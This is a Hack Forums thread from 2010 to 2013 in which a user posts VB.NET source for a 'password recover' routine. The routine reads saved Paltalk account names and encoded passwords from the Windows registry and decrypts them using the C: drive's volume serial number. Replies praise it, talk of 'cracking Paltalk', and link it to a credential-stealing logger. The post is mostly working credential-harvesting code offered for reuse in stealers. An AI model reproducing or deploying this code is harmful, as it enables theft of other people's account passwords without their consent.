Hack Forums
[.NET] [SCR] [Vb.Net] PaltalkScene Password Recover + Decryption - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [SCR] [Vb.Net] PaltalkScene Password Recover + Decryption (/showthread.php?tid=467964)

[SCR] [Vb.Net] PaltalkScene Password Recover + Decryption - pr0t0typ3 - Jun 8, 2010

Hi
I wrote 100 % of the function myself so plz give proper credits
And here it is have fun:
Note: You need to add a reference to the System.Management dll
Code
Public Function GetHDSerial() As String
  Dim disk As New System.Management.ManagementObject( _
  "Win32_LogicalDisk.DeviceID=""C:""")
  Dim diskPropertyA As System.Management.PropertyData = _
    disk.Properties("VolumeSerialNumber")
  Return diskPropertyA.Value.ToString()
    End Function
    Public Function paltalkscene() As String
' All Credits to pr0t0typ3
' If you remove this message you are a fucking leecher !!!
  Try
    Dim ser() As Char = GetHDSerial().ToCharArray
    Dim reg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
    Dim out As String = ""
    reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Paltalk")
    Dim users As String() = reg.GetSubKeyNames()
    reg.Close()
    For Each s As String In users
    Dim t, o, i, x As Integer
    Dim pass As String = Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\Paltalk\" & s, "pwd", "")
    Dim chr1 As Char() = pass.ToCharArray
    Dim passarr(pass.Length / 4) As String
    While t <= UBound(chr1) - 4
    If t < UBound(chr1) - 4 Then
    passarr(o) = chr1(t) & chr1(t + 1) & chr1(t + 2)
    End If
    t += 4
    o += 1
    End While
    Dim key As String = ""
    For Each c As Char In s
    key += c
    If i <= UBound(ser) Then
    key += ser(i)
    End If
    i = i + 1
    Next
    key = key & key & key
    Dim chr_arr As Char() = key.ToCharArray
    Dim blainpass As String = ""
    blainpass += Chr(passarr(0) - 122 - Asc(key.Substring(key.Length - 1, 1)))
    For x = 1 To UBound(passarr)
    Dim tempchr As Char
    If passarr(x) Is Nothing Then
    Else
    tempchr = Chr(passarr(x) - x - Asc(chr_arr(x - 1)) - 122)
    blainpass += tempchr
    End If
    Next x
    out += "Username: " & s & vbNewLine & "Password: " & blainpass & vbNewLine & vbNewLine
    Next
    Return out
  Catch ex As Exception
    Return "---"
  End Try
    End Function
I know it is a bit messed up but it works
Plz give proper credits!

* - pr0t0typ3 - Jun 8, 2010

bump !!!!
No1 needs this ? it took me 3 hours

* - Joler1302 - Jun 8, 2010

Thanks, it looks really good. A new release is always good.

* - njq8 - Jun 8, 2010

this will be good but not work in vista <<

i add refence to System.Management dll

i will try to recode this

thnx for share your code

* - pr0t0typ3 - Jun 8, 2010

(Jun 8, 2010 10:53 AM)njn Wrote:  this will be good but not work in vista <<

i add refence to System.Management dll

i will try to recode this

thnx for share your code

I completly coded this for vista and there aren't any predifined paths you get everything from the registry so It works on vista

* - Tr0ne - May 17, 2011

PrOtOtyp3 keep the good work going bro nice share

* - BaussHacker - May 17, 2011

It looks really nice.

This was the best part of the code.
I lol'd, but it's also the truth.
Code
' All Credits to pr0t0typ3
' If you remove this message you are a fucking leecher !!!


* - Miklo - Feb 18, 2013

Thanks for share, +REP GIVEN

Prototype, I will def thank you for your 3 hours efforts! I am a Paltalk Entusiast and am honestly very much happy to get my hands on such an amazing Source!

Just to let you know if you needed any further support to Paltalk or About Cracking Paltalk (....) let me know!

* - TraptCode - Feb 18, 2013

I would normally complain about this being over 2 years old, but this brought me so much nostalgia back to my Paltalk days. Did a lot of client-side hacking with it, was pretty fun.

* - Miklo - Apr 7, 2013

TraptCode, True.. Seems like this has been taken from the Razpo Logger also called (Pain Logger) and changed to a simpler version! But it has been going on for a long time.. But it doesnt work anymore! A lot more has to be done in this code..

Anyways Thanks For Sharing, I was hoping that this would be fixed one day, I might fix this myself and repost it!